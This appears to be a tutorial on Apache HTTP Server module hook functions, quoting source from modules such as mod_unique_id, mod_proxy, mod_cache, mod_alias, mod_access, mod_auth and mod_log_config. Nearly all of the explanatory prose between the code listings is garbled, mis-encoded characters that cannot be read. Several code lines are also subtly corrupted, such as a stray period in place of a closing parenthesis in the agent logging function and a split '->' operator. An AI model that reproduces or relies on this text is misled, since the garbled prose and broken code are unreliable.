        types_confname = AP_TYPES_CONFIG_FILE;

    types_confname = ap_server_root_relative(p, types_confname);

    if ((status = ap_pcfg_openfile(&f, ptemp, types_confname)) != APR_SUCCESS) 
{
        ap_log_error(APLOG_MARK, APLOG_ERR, status, s,

     "could not open mime types config file %s.", types_confname);
        return HTTP_INTERNAL_SERVER_ERROR;
    }

    mime_type_extensions = apr_hash_make(p);

    while (!(ap_cfg_getline(l, MAX_STRING_LEN, f))) {
        const char *ll = l, *ct;

        if (l[0] == '#')
            continue;
        ct = ap_getword_conf(p, &ll);

        while (ll[0]) {
            char *ext = ap_getword_conf(p, &ll);
            ap_str_tolower(ext);   /* ??? */
            apr_hash_set(mime_type_extensions, ext, APR_HASH_KEY_STRING, ct);
        }
    }
    ap_cfg_closefile(f);
    return OK;
}

Child Initialization

static void 
module_child_init(server_rec *pServer,pool *pPool)

 2".�� Fq��������� �#�� �� " 
#�"���q0! � n#& B��� .module_child_init ( ) u" z
  ��� �	 �	�  ��#�"���.��1���� , �2�&. �	 "    ��� �p �&�2 � �! #�  i�, �=2� �  �� � ��� �����

 2 �" � �w"�¤������ � �" �� #�"��� �	 ��V, � :��-�,  )�#�"������  .����� 
".��1��� z�
.���� �	 _� K��1 #�"���#& #���1 n�&� )� �	 B�� �,�2� 2 �p 2�2 2� � #.��� .
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 �	 M�k,??(?@ �� �p mod_unique_id.c �p �d2 n#& ��V�.��#:
 S�K�WWXW\ .mod_unique_id.c 

static void unique_id_child_init(server_rec *s, pool *p)
{
    pid_t pid;
#ifndef NO_GETTIMEOFDAY
    struct timeval tv;
#endif

    pid = getpid( );
cur_unique_id.pid = pid;

if (cur_unique_id.pid != pid) {
ap_log_error(APLOG_MARK, APLOG_NOERRNO|APLOG_CRIT, s,

"oh no! pids are greater than 32-bits!  I'm broken!");
    }

    cur_unique_id.in_addr = global_in_addr;

#ifndef NO_GETTIMEOFDAY
    if (gettimeofday(&tv, NULL) == -1) {
        cur_unique_id.counter = 0; 
    }
    else {
        cur_unique_id.counter = tv.tv_usec / 10;
    }
#else

cur_unique_id.counter = 0; 
#endif

    cur_unique_id.pid = htonl(cur_unique_id.pid);
    cur_unique_id.counter = htons(cur_unique_id.counter);
}

  \#�mod_unique_id.c  )2�p E����   ����& "�ID ��].� � �	 ��    ����12 ��  , 2 u� )�
��������   �� 2 ��    �  )"    2 Bd�#$ �"  zn�w	� 8�1  (���. ��	 � � " �p 
	 ������� u-U�V, �

��	���].� � B,�& )2�p ����&#�"���.�,� � #.��� �� �p ", n2�-��� n#& 2�s�#�p.
 2 �	�0, j	�!@,R�p �n2�� � ���� �!" ��APRw�>	�� �������2 ��>	�, �_�"#�:

static void unique_id_child_init(apr_pool_t *p, server_rec *s)
{
    pid_t pid;
    apr_time_t tv;

    pid = getpid( );
    cur_unique_id.pid = pid;
    if ((pid_t)cur_unique_id.pid != pid) {
        ap_log_error(APLOG_MARK, APLOG_NOERRNO|APLOG_CRIT, 0, s,
                    "oh no! pids are greater than 32-bits!  I'm broken!");
    }
    cur_unique_id.in_addr = global_in_addr;
    tv = apr_time_now( );
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    cur_unique_id.counter = (unsigned short)(tv % APR_USEC_PER_SEC / 10); 
cur_unique_id.pid = htonl(cur_unique_id.pid);

    cur_unique_id.counter = htons(cur_unique_id.counter);
}

Post Read Request

static int module_post_read_request(request_rec *pReq)

�"      �� F� �U^��;	 j	�! 
   )#& n#.��1���"��#��   ����12 "  �    :�u^ 22" u>,�w��2��
(redirect) U1�2 � .��1��� �� , �2�&. �� � ��	 ��"� .��1��� ������12� �. �, � 2�&�  #u.��!OK �

DECLINED"    2 ���$ #p �� �" #.�2���	 �w . � �� u�_� �  u�  �� �DECLINED  �#u.�2���	  �u.����
2"�w� .��1��� � �. �2�& .     ���! �%�$ M�$ 2�.����   ��u�� 2�#.���� �    � �� �up  u"     n2�-�u�� j	�u! 

,� #�p�.����>p��� ����  .

 �	 M�k,?@(?@ �� �p mod_proxy.c �p �d2 ��� n#& ��V�.��#:
 S�K�W\XW\.mod_proxy.c

static int proxy_detect(request_rec *r)
{
    void *sconf = r->server->module_config;
    proxy_server_conf *conf;

    conf = (proxy_server_conf *) ap_get_module_config(sconf, &proxy_module);

   if (conf->req && r->parsed_uri.scheme) {
        /* but it might be something vhosted */
       if (!(r->parsed_uri.hostname
            && !strcasecmp(r->parsed_uri.scheme, ap_http_method(r))
            && ap_matches_request_vhost(r, r->parsed_uri.hostname,
               r->parsed_uri.port_str ? r->parsed_uri.port : ap_default_port(r)))) {
            r->proxyreq = STD_PROXY;

r->uri = r->unparsed_uri;
r->filename = ap_pstrcat(r->pool, "proxy:", r->uri, NULL);

            r->handler = "proxy-server";
        }
    }
    /* We need special treatment for CONNECT proxying: it has no scheme part */
    else if (conf->req && r->method_number == M_CONNECT
             && r->parsed_uri.hostname
             && r->parsed_uri.port_str) {
            r->proxyreq = STD_PROXY;

r->uri = r->unparsed_uri;
r->filename = ap_pstrcat(r->pool, "proxy:", r->uri, NULL);

            r->handler = "proxy-server";
    }
    return DECLINED;
}
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�"  ��	 #p 
� , � � �p #�p"12 �B,�& ����, J�. �.�	_� �p �>�  g	��,,�  ��us, )�u	_�
UY��#&�X.)     , J�. �p �s.� ��� ��s, )�	_� UY� �   �� n2�-��� �	 �;Xd , J�.� )�	_ ����12 2Y! �u� 


 � �n#&" #	 
" �Y, 
�    �p ���  � �	� , ����s, )�	_� 2�#u. g	��! ( u" � u" zZ�CONNECT
  #&�X.)  �p >p��� ���!�    , n2�-��� )� �� ���#��p( . !�^ 2�    �� �p "  �#&�	 ��2 ��& �2 �� z
���" �	 #�proxy-server �#f, �n#.��� �	 proxy:uri�2�#f,�, �2�&.

Quick Handler (2.0)

int module_quick_handler(request_rec *r, int lookup_uri)

 � ��"   j	�! 
��	�   )2�p E����  1� �� ���],�n� .��. n���(Cache) , ��X�   �	 URI  , n2�-��� �2�& .
  ���lookup_uri�2�#f,�  �#&�	 n#&    � URI  #&�	 2� �,    n�w.�     n2�� �< �	OK  u,�	 �  #u.�2��
����. ���� ���], �#�p .

 S�K�WaXW\.mod_cache.c
static int cache_url_handler(request_rec *r, int lookup)
{
    apr_status_t rv;
    const char *cc_in, *pragma, *auth;

apr_uri_t uri = r->parsed_uri;
    char *url = r->unparsed_uri;
    apr_size_t urllen;

char *path = uri.path;
    const char *types;
    cache_info *info = NULL;

cache_request_rec *cache;
cache_server_conf *conf = 

(cache_server_conf *) ap_get_module_config(r->server->module_config, 
                                                   &cache_module);

    if (r->method_number != M_GET) return DECLINED;

    if (!(types = ap_cache_get_cachetype(r, conf, path))) {
        return DECLINED;
    }
    ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, r-
>server,
                 "cache: URL %s is being handled by %s", path, types);

    urllen = strlen(url);
    if (urllen > MAX_URL_LENGTH) {
        ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, r-
>server,
                     "cache: URL exceeds length threshold: %s", url);
        return DECLINED;
    }
    if (url[urllen-1] == '/') {
        return DECLINED;
    }
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    cache = (cache_request_rec *) ap_get_module_config(r->request_config, 
                                                       &cache_module);
    if (!cache) {
        cache = ap_pcalloc(r->pool, sizeof(cache_request_rec));
        ap_set_module_config(r->request_config, &cache_module, cache);
    }

    cache->types = types;

    cc_in = apr_table_get(r->headers_in, "Cache-Control");
    pragma = apr_table_get(r->headers_in, "Pragma");
    auth = apr_table_get(r->headers_in, "Authorization");

    if (conf->ignorecachecontrol_set == 1 && conf->ignorecachecontrol == 1 && 
        auth == NULL) {
        ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, r-
>server,
            "incoming request is asking for a uncached version of %s,
             but we know better and are ignoring it", url);
    }
    else {
        if (ap_cache_liststr(cc_in, "no-store", NULL) ||
            ap_cache_liststr(pragma, "no-cache", NULL) || (auth != NULL)) {
            /* delete the previously cached file */
            cache_remove_url(r, cache->types, url);

            ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, 
r->server,
                        "cache: no-store forbids caching of %s", url);
            return DECLINED;
        }
    }

    rv = cache_select_url(r, cache->types, url);
    if (DECLINED == rv) {
        if (!lookup) {
           ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, 
r->server,
                         "cache: no cache - add cache_in filter and DECLINE");
            ap_add_output_filter("CACHE_IN", NULL, r, r->connection);
        }
        return DECLINED;
    }
    else if (OK == rv) {
        if (cache->fresh) {
            apr_bucket_brigade *out;
            conn_rec *c = r->connection;

            if (lookup) {
                return OK;

     }
            ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, 
r->server,
                         "cache: fresh cache - add cache_out filter and "
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                         "handle request");

            ap_run_insert_filter(r);
            ap_add_output_filter("CACHE_OUT", NULL, r, r->connection);
            out = apr_brigade_create(r->pool, c->bucket_alloc);
            if (APR_SUCCESS != (rv = ap_pass_brigade(r->output_filters, out))) {

ap_log_error(APLOG_MARK, APLOG_ERR, rv, r->server,
"cache: error returned while trying to return %s "

                             "cached data", 
                             cache->type);
                return rv;
            }
            return OK;
        }
        else {
            if (lookup) {
                return DECLINED;
            }

            ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, 
r->server,

"cache: stale cache - test conditional");
if (ap_cache_request_is_conditional(r)) {

                ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 
0, 
                             r->server,
                             "cache: conditional - add cache_in filter and "
                             "DECLINE");

                ap_add_output_filter("CACHE_IN", NULL, r, r->connection);

                return DECLINED;
            }
           else {
                if (info && info->etag) {
                    ap_log_error(APLOG_MARK, APLOG_DEBUG | 
APLOG_NOERRNO, 0, 

r->server,
                                 "cache: nonconditional - fudge conditional "

"by etag");
                    apr_table_set(r->headers_in, "If-None-Match", info->etag);
                }
                else if (info && info->lastmods) {
                    ap_log_error(APLOG_MARK, APLOG_DEBUG | 
APLOG_NOERRNO, 0, 

r->server,
                                 "cache: nonconditional - fudge conditional "

"by lastmod");
                    apr_table_set(r->headers_in, 
                                  "If-Modified-Since", 
                                  info->lastmods);
                }

 else {
                    ap_log_error(APLOG_MARK, APLOG_DEBUG | 
APLOG_NOERRNO, 0, 
                                 r->server,
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                                 "cache: nonconditional - no cached "
                                 "etag/lastmods - add cache_in and DECLINE");

                    ap_add_output_filter("CACHE_IN", NULL, r, r->connection);

                    return DECLINED;
                }
                ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 
0, 

    r->server,
                             "cache: nonconditional - add cache_conditional and"
                             " DECLINE");
                ap_add_output_filter("CACHE_CONDITIONAL", 
                                     NULL, 

                      r, 
                                     r->connection);

                return DECLINED;
            }
        }
    }
    else {
        ap_log_error(APLOG_MARK, APLOG_ERR, rv, 
                     r->server,

"cache: error returned while checking for cached file by "
                     "%s cache", 
                     cache->type);
        return DECLINED;
    }
}

� ��X��"�#f, 
�� ����� n#�/ 2 �M�$ 
��� y�� .

Translate Name

int module_translate(request_rec *pReq)

a�� � �-"  #X! j	�! 
"  BURL       J�. �	 ����12 2 2� �, n#.��� , �#&�	 .�.�  � �us u"  #uX! 
" B
�	"   2 #pReq->filename 2�u& n2�2 ��d  . �	 j	�u! u" #OK �DECLAINED u" � u"   �u��$ #up z

#.�2���	. ��� �  
�.������   �p DECLAINED   , ��� �#.�2�w.�	 �          n2�2 J�us.� � �up �up 2�& �
2"   .��1��� �	 J�~ �w� 2 "  �w�.���� . ��� �u> .      �up �us.� ��!�! u�  .��u1��� y� �u.����   �u��Y! u" G
�.�     �p ��� ���	 �2�& �X�� n�].�URL   o��!  �u.����   �u� �u�].��   E��u	 � n2�u	    ���u&�

 #�&�	 ��&�#. .   J��! ����.����   �u�DECLAINED    �u�1 �#u�.�2���	 � � � #u�	�q� �    �u�� n2�2  .
#	"�� ���    �p  ��	 j	�!�   ��� �	 n2�-��� ���#�	�q�    � �1�& ��������       �up 2�u& �V0, �! 
�" �	 �"  #   � ����12URL  �X�� � � ��. "  #" 1 ��� . !�^ 2�       u, n#u.�2���	 ���$ #p �p �  �2�u&

���"��#���	 ����12 ���� 2 y���, " 2 #pReq->headers_out�2�#f, �#.�&  .
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 S�K�WbXW\.mod.alias.c
static char *try_alias_list(request_rec *r, array_header *aliases, int doesc, int 
*status)
{
    alias_entry *entries = (alias_entry *) aliases->elts;
    regmatch_t regm[10]; 
    char *found = NULL;
    int i;

    for (i = 0; i < aliases->nelts; ++i) {
        alias_entry *p = &entries[i];
        int l;

        if (p->regexp) {
            if (!ap_regexec(p->regexp, r->uri, p->regexp->re_nsub + 1, regm, 0)) {
                if (p->real) {
                    found = ap_pregsub(r->pool, p->real, r->uri,
                                       p->regexp->re_nsub + 1, regm); 
                    if (found && doesc) {
                        found = ap_escape_uri(r->pool, found);
                    }
                }
                else {

     /* need something non-null */
                    found = ap_pstrdup(r->pool, "");
                }
            }
        }
        else {
            l = alias_matches(r->uri, p->fake);

            if (l > 0) {
                if (doesc) {

            char *escurl;
                    escurl = ap_os_escape_path(r->pool, r->uri + l, 1); 

                    found = ap_pstrcat(r->pool, p->real, escurl, NULL);
                }
                else
                    found = ap_pstrcat(r->pool, p->real, r->uri + l, NULL);
            }
        }

        if (found) {
            if (p->handler) { /* Set handler, and leave a note for mod_cgi */
                r->handler = p->handler;
                ap_table_setn(r->notes, "alias-forced-type", r->handler);
            }

            *status = p->redir_status;

            return found;
        }
    }
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    return NULL;
}

static int translate_alias_redir(request_rec *r)
{
    void *sconf = r->server->module_config;
    alias_server_conf *serverconf =
    (alias_server_conf *) ap_get_module_config(sconf, &alias_module);
    char *ret;
    int status;

    if (r->uri[0 ] != '/' && r->uri[0] != '\0') 
return DECLINED;

    if ((ret = try_alias_list(r, serverconf->redirects, 1, &status)) != NULL) {
      if (ap_is_HTTP_REDIRECT(status)) {

            /* include QUERY_STRING if any */
            if (r->args) {
                ret = ap_pstrcat(r->pool, ret, "?", r->args, NULL);
            }
            ap_table_setn(r->headers_out, "Location", ret);
        }
        return status;
    }

    if ((ret = try_alias_list(r, serverconf->aliases, 0, &status)) != NULL) {
        r->filename = ret;
        return OK;
    }

    return DECLINED;
}

 �� BXd  � �� �  _�"   M�k, 
Y�� , �   �p #�p2"�p��  �Redirect ��, � #�2 �f	 . � 2"  :�^ 

���"  #�B],  2headers_out �2�#f, �    � n#& REDIRECT , n#.�2���	� 2�u& . � 2 u� � � u" 


    J�. �	 :�^"  zn#.��� , �� �!�2�& . �p � �!�   �p #   ��� 
q�,"  z  �X��.�_   #�p �V0, 
)�X�� ���! ��X���, �p � #�p �V0, #.��!cgi-script��� ( .

!�#/:  � 2 " �U$�, 
  J�. n#.��� � URL � n#& �V0, �����  ��u	 � 2�u1 � �up  �u	   ju	��!
�.�������" �p � �	 ��	�,�#�	�q��1�&��� ��	 �#��>� �#�	�q�, �#�p .

Header Parser

int module_header_parser(request_rec *pReq)

�uu"� 
uu" � \#uu� 2�	�uu0,�uuU$�, post_read_requestuu, �#uu&�	 .uu,�uu.��! #OK �
DECLAINED"  Y%� #p �� #.�2���	 �.  � ��� �_� � �   �� �DECLAINED    �#& n#.�2���	 �.����

2"�w� .��1��� � �. �2�& .   \#� ��!�E����    ��u� =�u�� �	"��#��"        �u	 �up �u��  n��1�u�
, n2������2�& .
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  ���!�.���� 2�#.���� �     , n2�-��� )� �� �p �  #�pmod_setenvif.c     2 �p ���    M�uk,?S(?@
��� n#& n2�2 )�0..

 S�K�WcXW\.mod_setenvif.c
static int match_headers(request_rec *r)
{
    sei_cfg_rec *sconf;
    sei_entry *entries;
    table_entry *elts;
    const char *val;
    int i, j;
    int perdir;
    char *last_name;

    perdir = (ap_table_get(r->notes, SEI_MAGIC_HEIRLOOM) != NULL);
    if (! perdir) {
        ap_table_set(r->notes, SEI_MAGIC_HEIRLOOM, "post-read done");
        sconf  = (sei_cfg_rec *) ap_get_module_config(r->server->module_config,

                  &setenvif_module);
    }
    else {
        sconf = (sei_cfg_rec *) ap_get_module_config(r->per_dir_config,
                                                     &setenvif_module);
    }
    entries = (sei_entry *) sconf->conditionals->elts;
    last_name = NULL;
    val = NULL;
    for (i = 0; i < sconf- >conditionals->nelts; ++i) {
        sei_entry *b = &entries[i];

        /* Optimize the case where a bunch of directives in a row use the
         * same header.  Remember we don't need to strcmp the two header
         * names because we made sure the pointers were equal during
         * configuration.
         */
        if (b->name != last_name) {
            last_name = b->name;
            switch (b->special_type) {
            case SPECIAL_REMOTE_ADDR:
                val = r->connection->remote_ip;
                break;
            case SPECIAL_REMOTE_HOST:
                val =  ap_get_remote_host(r->connection, r->per_dir_config,
                                          REMOTE_NAME);
                break;
            case SPECIAL_REMOTE_USER:
                val = r->connection->user;
                break;
            case SPECIAL_REQUEST_URI:
                val = r->uri;
                break;
            case SPECIAL_REQUEST_METHOD:
                val = r->method;
                break;
            case SPECIAL_REQUEST_PROTOCOL:
                val = r->protocol;
                break;



=AY

            case SPECIAL_NOT:
                val = ap_table_get(r->headers_in, b->name);
                if (val == NULL) {
                    val = ap_table_get(r->subprocess_env, b->name);
                }
                break;
            }
        }

        /*
         * A NULL value indicates that the header field or special entity
       * wasn't present or is undefined.  Represent that as an empty string

         * so that REs like "^$" will work and allow envariable setting
         * based on missing or empty field.
         */
        if (val == NULL) {
            val = "";
     }

        if (!ap_regexec(b->preg, val, 0, NULL, 0)) {
            array_header *arr = ap_table_elts(b->features);
            elts = (table_entry *) arr->elts;

            for (j = 0; j < arr->nelts; ++j) {
                if (!strcmp(elts[j].val, "!")) {
                    ap_table_unset(r->subprocess_env, elts[j].key);
                }
                else {
                    ap_table_setn(r->subprocess_env, elts[j].key, elts[j].val);
                }
            }
        }
    }

    return DECLINED;
}

Check Access

int module_check_access(request_rec *pReq)

�"  
�.��������2��� �	 " �allow/denyY! ��, 
� #u�p . u,�  #u.��!OK �DECLAINED u" �
 u"#uu.�2���	 �uu��$ #uup z . J�uu�!�uu.�����uu�Yd�uu, �uu! � �uup "uuq�� �uu�.� ��uu�_� _uu  OKuu" �

DECLAINED  .��1��� #.�2���	 �,�#.�& .   ��� ����.����   �u�DECLAINED    �#u�.�2���	   �u	
  )���/" ��1 z� � �#�	�q� fU! �, �2�&.� 2 "  �uU$�, 
URL  J�u. �  n#u.��� =2� � n��1�u� �
 B,�/n��1�� �2 �"#��>� �V0, 2��, �w .

  ���!�.���� 2�#.���� �     , n2�-��� )� �� �p �  #�pmod_access.c      2 �up ���    M�uk,?Q(?@
�0.��� n#& n2�2 ).
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 S�K�WjXW\ .mod_access.c
static int find_allowdeny(request_rec *r, array_header *a, int method)
{
    allowdeny *ap = (allowdeny *) a->elts;
    int mmask = (1 << method); 
    int i;
    int gothost = 0; 
    const char *remotehost = NULL;

    for (i = 0; i < a->nelts; ++i) {
        if (!(mmask & ap[i].limited))
            continue;

        switch (ap[i].type) {
        case T_ENV:
            if (ap_table_get(r->subprocess_env, ap[i].x.from)) {
                return 1; 
            }
          break;

        case T_ALL:
            return 1; 

        case T_IP:
            if (ap[i].x.ip.net != INADDR_NONE
                && (r->connection->remote_addr.sin_addr.s_addr

& ap[i].x.ip.mask) == ap[i].x.ip.net) {
return 1; 

            }
            break;

        case T_HOST:
            if (!gothost) {
                remotehost = ap_get_remote_host(r->connection, r->per_dir_config,
                                                REMOTE_DOUBLE_REV);

             if ((remotehost == NULL) || is_ip(remotehost))
                    gothost = 1; 
                else
                    gothost = 2; 
            }

            if ((gothost == 2) && in_domain( ap[i].x.from, remotehost))
                return 1; 
            break;

        case T_FAIL:
            /* do nothing? */
            break;
        }
    }

    return 0; 
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}

static int check_dir_access(request_rec *r)
{
    int method = r->method_number;
    access_dir_conf *a =
    (access_dir_conf *)
    ap_get_module_config(r->per_dir_config, &access_module);
    int ret = OK;

    if (a->order[method] == ALLOW_THEN_DENY) {
        ret = FORBIDDEN;
        if (find_allowdeny(r, a->allows, method))
            ret = OK;
        if (find_allowdeny(r, a->denys, method))
            ret = FORBIDDEN;
    }
    else if (a->order[method] == DENY_THEN_ALLOW) {
        if (find_allowdeny(r, a->denys, method))
            ret = FORBIDDEN;
        if (find_allowdeny(r, a->allows, method))
            ret = OK;
   }
    else {
        if (find_allowdeny(r, a->allows, method)
            && !find_allowdeny(r, a->denys, method))
            ret = OK;
        else
            ret = FORBIDDEN;
    }

    if (ret == FORBIDDEN
        && (ap_satisfies(r) != SATISFY_ANY || !ap_some_auth_required(r))) {
        ap_log_rerror(APLOG_MARK, APLOG_NOERRNO|APLOG_ERR, r,
                      "client denied by server configuration: %s",
                      r->filename);
    }

    return ret;
}

   �u�� �Vu0, j	�u! �p n�]. ��X>. .2 in_ip( ) � in_domain( ) =2�IP   �u�,�2 J�u. � 
��	�, �2�&.

  ��uuu�� :��uuu-! �uuu��!�@,R �uuu0���	 �#uuuf, 2�FORBIDDEN   �uuu	 �uuup �uuu��
HTTP_FORBIDDENi! ����� n2�p �.

Check User ID

int module_check_user_id(request_rec *pReq)
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�"  
 ��	 {�X!�����  )2�	 ��s, )��	�p��	�����2 � �	 URLUY�� ���)  2 �uppReq-
>connection->user�uu�2 Buu	�d �	���uu�� .(� �� ~�uu�Y,�#uu�	�q��1�uu&��) p�! �uup�uuX� �� 

��#�	�q�   ��1�& n#.���   � B], ���  ( , n2�-����#�p .�	"  #OK  �DECLINED"  �"   ���$ #p z
#.�2���	 . ���Y, #p� �0���	 �HTTP_UNAUTHORIZED  !�^ 2 �����  up    � �	�up � u� �

 #&�	 ��s, .�.����  ,�w�� �! ���   �p "q�    � �u�.� ��  u�_�    _u  DECLINED    .��u1��� �#u.�2���	 �
,�#.�& .

��	 n�	�2�2" )#" M�k, zX<�Y� �� mod_auth.c , n2�-�����p�E.
 S�K�WlXW\.mod_auth.c

int check_user_access (request_rec *r) {
    auth_config_rec *sec =
      (auth_config_rec *)ap_get_module_config (r->per_dir_config, &auth_module);
    char *user = r->connection->user;
    int m = r->method_number;
    int method_restricted = 0; 
    register int x;
    char *t, *w;
    table *grpstatus;
    array_header *reqs_arr = requires (r);
    require_line *reqs;

    if (!reqs_arr)
        return (OK);
    reqs = (require_line *)reqs_arr->elts;

    if(sec->auth_grpfile)
        grpstatus = groups_for_user (r->pool, user, sec->auth_grpfile);
    else
        grpstatus = NULL;

    for(x=0; x < reqs_arr->nelts; x++) {

        if (! (reqs[x].method_mask & (1 << m))) continue;

        method_restricted = 1; 

        t = reqs[x].requirement;
w = getword(r->pool, &t, ' ');
if(!strcmp(w,"valid-user"))

           return OK;
        if(!strcmp(w,"user")) {
            while(t[0]) {
                w = getword_conf (r->pool, &t);
                if(!strcmp(user,w))
                    return OK;
            }
        }
        else if(!strcmp(w,"group")) {
            if(!grpstatus) 
                return DECLINED;        /* DBM group?  Something else? */
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            while(t[0]) {
                w = getword_conf(r->pool, &t);
                if(table_get (grpstatus, w))
                    return OK;
            }
        }
    }

    if (!method_restricted)
        return OK;

    note_basic_auth_failure (r);

    return AUTH_REQUIRED;
}

Handlers

handler_rec aModuleHandlers[]; [1.3]

�Y!" Ghandler_rec, � � 2 )��!http_config.h (1.3)2"#:
typedef struct {
    char *content_type;
    int (*handler)(request_rec *);
} handler_rec;

   �V>. 2@,R  ���X��(handlers)  �	"   j	�! z  ���Y, :�^ �	��Xh    � n#& n#�/�2����
 {�.���],3#��>� .

n�1~�	   n2�,� �X���  �>� ����12 �E .  , 2 ��>�� ���X�� )����.���      M�uX.2 �u	 ��  �uX��
 ��	 y���,� �X�� � , ����12�     ��]� �� �p #&�	  {�.n#.���"  �   {�u.MIME    #�u&�	 g	�u�,  .

,�w���   �p   � y���, �X��� #& �# .��1��� ��,�2�&. � "  a� �X�� 
�   uYd�� �u-� �,#u1    �u	 )2�2 
, J�s.� � �	�p�#�2.

mod_status.c  ���!"� � �X�� z���� n2�p n2�.� M�k,"� 2 �"��� n�	 
:
 S�K�WmXW\.mod_status.c

handler_rec status_handlers[] =
{
{ STATUS_MAGIC_TYPE, status_handler },
{ "server-status", status_handler },
{ NULL }
};

  � 2 ��X��"  �s� Yd�� �X���.~�< �<�1 �	 �n2�#. )�0. )2�	 �"E . u, J�s.� �p ��.��2  )� #u�
 �p ������], �� n2�-��� �	�scoreboard)  �p�_ � :�#�"������, �Xh � #.��� �#�p( � �]-^

s$���   �� HTML��!�# , �#�p .   �	�up         �� n2�-�u�� �u	 � �uX��SetHandler u"  �AddHandler

1 Content Type
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 , �V0,�#�p .    �p �s.� ��  �X��n#.�����  �. n2�-��� � #u�p  �SetHandlerX<� uY� �u!"  
 Z�
��	�� J�s.� "��� �p 
 .

�	�0, M�k,����� 2 �@,RY	�!��  �	 ���"mhandlers_recs2�2 :
static void register_hooks(apr_pool_t *p)
{
    ap_hook_handler(status_handler, NULL, NULL, APR_HOOK_MIDDLE);
    ...
}

 #& n2�2 b�& ;Xd �p ��.���set_handler( ).��� Z2�1 � ���], {��, �#�p:
static int status_handler(request_rec *r)
{
...
    if (strcmp(r->handler, STATUS_MAGIC_TYPE) && 

strcmp(r->handler, "server-status")) {
return DECLINED;

    }
...

Logger

int module_logger(request_rec *pRec)

   ����12 )��p�    � n#& Z��2��    ,� �	  �1 � 2��� ��>0. 
 !���V	 ��� 
q�, ��  n�u	2 #
   � n#& J�s.� ����12�_�  �p �Xh �#.  ��X�� �� � ��>�� � "   � �w.2�#  � ®], �	"  �q��.������

#p�� � �� �OK" �DECLINED, Gd��, � #.�2���	 �!� :#. �	 ��X�� �p �#�p, e�-�#���.
   #�� ��mod_log_agent.c   	 � Ep�  t      � n#u& K�1 n2 ��mod_log_config.c  �u  �u	 �

��Y, )��n#& � �	 �" M�$ 
� � n2�0� M�k,"�X�"��� :
 S�K�WnXW\ .mod_log_agent.c

int agent_log_transaction(request_rec *orig)
{
    agent_log_state *cls = ap_get_module_config (orig->server->module_config,
                                              &agent_log_module);
    char str[HUGE_STRING_LEN];
    char *agent;
    request_rec *r;

    if(cls->agent_fd <0) 
      return OK;

    for (r = orig; r->next; r = r->next)
        continue;
    if (*cls->fname == '\0'.    /* Don't log agent */
        return DECLINED;

    agent = table_get(orig->headers_in, "User-Agent");
    if(agent != NULL) 
      {
        sprintf(str, "%s\n", agent);
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        write(cls->agent_fd, str, strlen(str));
     }

    return OK;
}

Child Exit

void 
child_exit( server_rec *pServer,pool *pPool) [1.3]

�"   j	�! 
  �U^��;	���� t K��1 " z#�"���#.���  u, �� � � 2�u& .  J�u�-," #u.��� "  tuV	 2
Child Initilization#& n2�2 b�& . �~��Y, ���"��	 j	�! 
����2������� j	��, , n2�-�2�&.

 ���� 2�@,R  j	�!child_exit      ��/ 2 �2�#. 2� �    J�#p ��"  z ��>p�� j	�!�  u._V, 2�
 �p �	init_child, n2�2 � �2�&�Xh, �#�p.

 S�K�pXW\.mod_log_config.c
static void flush_all_logs(server_rec *s, pool *p)
{
    multi_log_state *mls;
    array_header *log_list;
    config_log_state *clsarray;
    int i;

    for (; s; s = s->next) {
        mls = ap_get_module_config(s->module_config, &config_log_module);
        log_list = NULL;
        if (mls->config_logs->nelts) {
            log_list = mls->config_logs;
        }
        else if (mls->server_config_logs) {
            log_list = mls->server_config_logs;
        }
        if (log_list) {
            clsarray = (config_log_state *) log_list->elts;
         for (i = 0; i < log_list->nelts; ++i) {

                flush_log(&clsarray[i]);
            }
        }
    }
}

�"� 
",�w�� of� ��, n2�-��� � �p 2�&BUFFERED_LOGS�Y! "#&�	 n#& G.
   �V>. 2@,R  �	�0, j	�! � , n2�-���� �� 2�&�         2 #u& �u�-� �p ��.��� init_child �uXh

,�2�&:
static void init_child(apr_pool_t *p, server_rec *s)
{
#ifdef BUFFERED_LOGS
    /* Now register the last buffer flush with the cleanup engine */
    apr_pool_cleanup_register(p, s, flush_all_logs, flush_all_logs);
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#endif
}

W\XbX����	�������#�0 �
�����@,R    ��� 
q�,        #u�� :�u^ �u	" .��u>�3)        �� n2�-�u�� �u	 ��u>	MPM( #u&�	 .  �u��
,����1�  #�.���� ��&     	 #�U	�� )�,�� �� � 	 )����"  i�, �� �#����� �u�����   �q. n2�-�u��  u�# .  �u��

  
q�,2�X.  �       2 )� �� n2�-��� n�]. �	"  z�����   #�� ".��>�  �p �d2 �# . �q. Z�,���� p #  � ��
  M�# notes  2  , ����12 2�p�.��!�  n2�2 �� #��   �  . �p� �2 ��" 	 #�  
  j	��!   �p M#	 � 2 u� �#

�p n2�-����#.
���  n��  ��      n2�-��� �	�h M�< �	 ���	�q.�# .>	���  1 �� ������,� ���� 2 "   �<�u1 �u	 �.���

   �� n2�-��������	�      , 2� � �	 �	�h M�< �	 ��"# .Z�   )_V, (pool)   u�� mu/��s,�   �u��_	� ��
, E�����, �p #�p�.��!��22�1 �	�h M�< �	 ���	 �� ��.� �� n2�-��� �	 #��p �#.
  �	"  &�	 ��&�2 2��   �p #�.����  ��&  �	�p ��� 
q�,�   �2��! �< �	 ��.����    � ��&  ��u���
 � 2�1�#�	�q�    #�p n2�-��� � n2�p  .��	��	"  � �	 
�    �	 � � �2������  �	�p �q. 2���/��# . . �� _

  �p J�s.� ���    �	 �p �.������� 2 " �#! �w � B1" , 2�s� �22�1 �#�p� ��. �"  #)   �Vu� �up�  �u��  !
���Y� �2�1 �q	 � �#.(!

1 Multithreaded


